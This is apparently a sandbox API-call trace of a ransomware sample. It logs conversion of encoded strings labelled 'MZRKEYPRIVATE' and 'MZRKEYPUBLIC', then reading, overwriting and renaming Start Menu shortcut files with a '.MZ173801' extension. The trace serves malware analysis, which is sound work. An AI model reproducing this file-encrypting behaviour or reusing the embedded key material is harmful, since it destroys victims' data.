EzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0195.928] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24be5cc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0195.929] GetCurrentThreadId () returned 0xab4 [0195.929] GetCurrentThreadId () returned 0xab4 [0195.929] GetCurrentThreadId () returned 0xab4 [0195.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0195.930] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24cf62c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0195.930] GetCurrentThreadId () returned 0xab4 [0195.930] GetCurrentThreadId () returned 0xab4 [0195.930] GetCurrentThreadId () returned 0xab4 [0195.930] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\computer.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0195.930] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f474*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f474*=0) returned 0x0 [0195.930] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0195.930] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x14f [0195.930] SetFilePointer (in: hFile=0x330, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f46c*=0) returned 0x0 [0195.931] ReadFile (in: hFile=0x330, lpBuffer=0x24d7430, nNumberOfBytesToRead=0x14f, lpNumberOfBytesRead=0x19f480, lpOverlapped=0x0 | out: lpBuffer=0x24d7430*, lpNumberOfBytesRead=0x19f480*=0x14f, lpOverlapped=0x0) returned 1 [0195.931] CloseHandle (hObject=0x330) returned 1 [0195.932] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\computer.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x330 [0196.036] WriteFile (in: hFile=0x330, lpBuffer=0x24d9460*, nNumberOfBytesToWrite=0x14f, lpNumberOfBytesWritten=0x19f48c, lpOverlapped=0x0 | out: lpBuffer=0x24d9460*, lpNumberOfBytesWritten=0x19f48c*=0x14f, lpOverlapped=0x0) returned 1 [0196.037] CloseHandle (hObject=0x330) returned 1 [0196.144] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\computer.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\computer.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\computer.lnk.mz173801")) returned 1 [0196.565] GetCurrentThreadId () returned 0xab4 [0196.565] GetCurrentThreadId () returned 0xab4 [0196.565] GetCurrentThreadId () returned 0xab4 [0196.565] GetCurrentThreadId () returned 0xab4 [0196.565] GetCurrentThreadId () returned 0xab4 [0196.565] GetCurrentThreadId () returned 0xab4 [0196.565] FindNextFileW (in: hFindFile=0xa1b508, lpFindFileData=0x19f5b8 | out: lpFindFileData=0x19f5b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x195, dwReserved0=0x19f614, dwReserved1=0x77a601e9, cFileName="Control Panel.lnk", cAlternateFileName="CONTRO~1.LNK")) returned 1 [0196.565] FileTimeToLocalFileTime (in: lpFileTime=0x19f5cc, lpLocalFileTime=0x19f52c | out: lpLocalFileTime=0x19f52c) returned 1 [0196.565] FileTimeToDosDateTime (in: lpFileTime=0x19f52c, lpFatDate=0x19f59a, lpFatTime=0x19f598 | out: lpFatDate=0x19f59a, lpFatTime=0x19f598) returned 1 [0196.566] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\control panel.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19f4c0 | out: lpFileInformation=0x19f4c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x210d33f6, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x210d33f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x61db3fcd, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x195)) returned 1 [0196.566] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\system tools\\control panel.lnk")) returned 0x20 [0196.566] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\System Tools\\Control Panel.lnk", dwFileAttributes=0x80) returned 1 [0196.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0196.659] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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